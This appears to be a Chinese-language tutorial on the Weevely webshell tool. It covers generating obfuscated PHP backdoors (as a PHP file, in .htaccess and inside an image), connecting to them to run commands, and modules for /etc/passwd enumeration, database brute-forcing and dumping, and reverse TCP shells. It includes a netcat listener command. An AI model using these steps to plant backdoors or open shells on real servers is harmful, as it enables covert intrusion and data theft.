-前言
weevely是一款使用python編寫的webshell工具,集webshell生成和連接於一身,采用c/s模式構建,可以算作是linux下的一款php菜刀替代工具,具有很好的隱蔽性(生成隨機參數且base64加密),在linux上使用時還是很給力的(集服務器錯誤配置審計,后門放置,暴力破解,文件管理,資源搜索,網絡代理,命令執行,數據庫操作,系統信息收集及端口掃描等功能),就是某些模塊在windows上無法使用,總的來說還是非常不錯的一款工具(僅用於安全學習教學之用,禁止非法用途)。
項目地址:http://epinna.github.com/Weevely/
作者:Emilio Pinna 主頁:http://disse.cting.org
測試環境:kali linux 1.0.6 amd64 + Apache + php
1.生成后門
查看weevely help可以看到weevely可以生成三種形式的php后門:
:generate.php //生成php后門文件
:generate.htaccess //將后門代碼插入到.htaccess,需要開啟.htaccess支持 (關於.htaccess文件)
:generate.img //將后門代碼插入到圖片中,並修改.htaccess,需開啟.htaccess支持
1.1 生成php后門文件
wevely會生成經過base64加密且參數隨機的后門:
之前看到有大牛分離出Weevely中的加密模塊來加密任意WebShell,在此作簡單介紹:
加密模塊:下載地址
Usage:python test.py intofile outfile
測試效果:
1.2 生成.htaccess后門
1.3 生成.img圖片后門
2. 連接后門
連接方式都是一樣的: weevely <url> <password> 這里不一一例舉,但采用.htaccess或圖片連接時要開啟.htaccess支持:
kali下找apache2的配置文件,查看/etc/apache2/apache2.conf文件,發現沒有,但它包含多個配置文件,依次查看,結果在其包含的sites-enabled/下找到了,其絕對路徑:/etc/apache2/sites-enabled/000-default 修改如下配置以支持htaccess:
連接圖片后門示例:
當然,weevely也支持在連接時直接帶上命令直接執行:
~$ weevely http://127.0.0.1/img_door/1.jpg linger "ls" //這與上面的兩步一樣的,上面的類似交互式的shell
3.weevely豐富的模塊功能
查看weevely的可利用模塊:(可按TAB鍵進入控制台模式)
~# weevely help +----------------------+--------------------------------------------------+ module | description +----------------------+--------------------------------------------------+ | :audit.etcpasswd | 枚舉/etc/passwd | | :audit.userfiles | 列舉用戶/home下具有權限的文件 | | :audit.mapwebfiles | 枚舉任意Web站點的URL鏈接 | | :shell.php | 編寫php文件 | | :shell.sh | 編寫系統腳本 | | :system.info | 收集系統信息 | | :find.suidsgid | 查找SUID / SGID文件和目錄 | | :find.perms | 查找權限可讀/寫/可執行文件和目錄 | | :backdoor.tcp | TCP端口后門 | | :backdoor.reversetcp | 反彈TCP連接 | | :bruteforce.sql | 爆破指定數據庫用戶名密碼 | | :bruteforce.sqlusers | 爆破所有數據庫用戶密碼 | | :file.upload | 上傳本地文件 | | :file.upload2web | 上傳二進制/ ASCII文件至目標站點文件夾並枚舉URL | | :file.enum | 在本地詞表的書面枚舉遠程文件 | | :file.read | 讀文件 | | :file.rm | 刪除文件 | | :file.check | 檢查遠程文件的狀態(md5值,大小,權限等) | | :file.download | 下載遠程二進制/ ASCII文件到本地 | | :sql.console | 啟動SQL控制台 | | :sql.dump | 備份數據庫,即脫庫 | | :net.scan | 端口掃描 | | :net.phpproxy | 安裝遠程php代理 | | :net.ifaces | 顯示遠程主機網絡接口信息 | | :net.proxy | 安裝隧道通信代理 | +----------------------+----------------------------------------------------+
反彈TCP連接到本地:
本地監聽8008端口等待連接:
~$ nc -l -p 8008
在weevely上建立TCP連接:
可以看到本地與遠程主機已經建立了連接:
枚舉任意Web站點的URL鏈接:
:audit.mapwebfiles http://xxx.xxx.xx.xx/index.php http://xxx.xxx.xx.xx /var/www/conf
上傳本地文件到遠程主機指定路徑
從遠程主機下載文件:
當然還有很多強大的功能,在新版的kali里貌似新加了一些模塊,用法都差不多,可以查看幫助“ :help shell.sh”。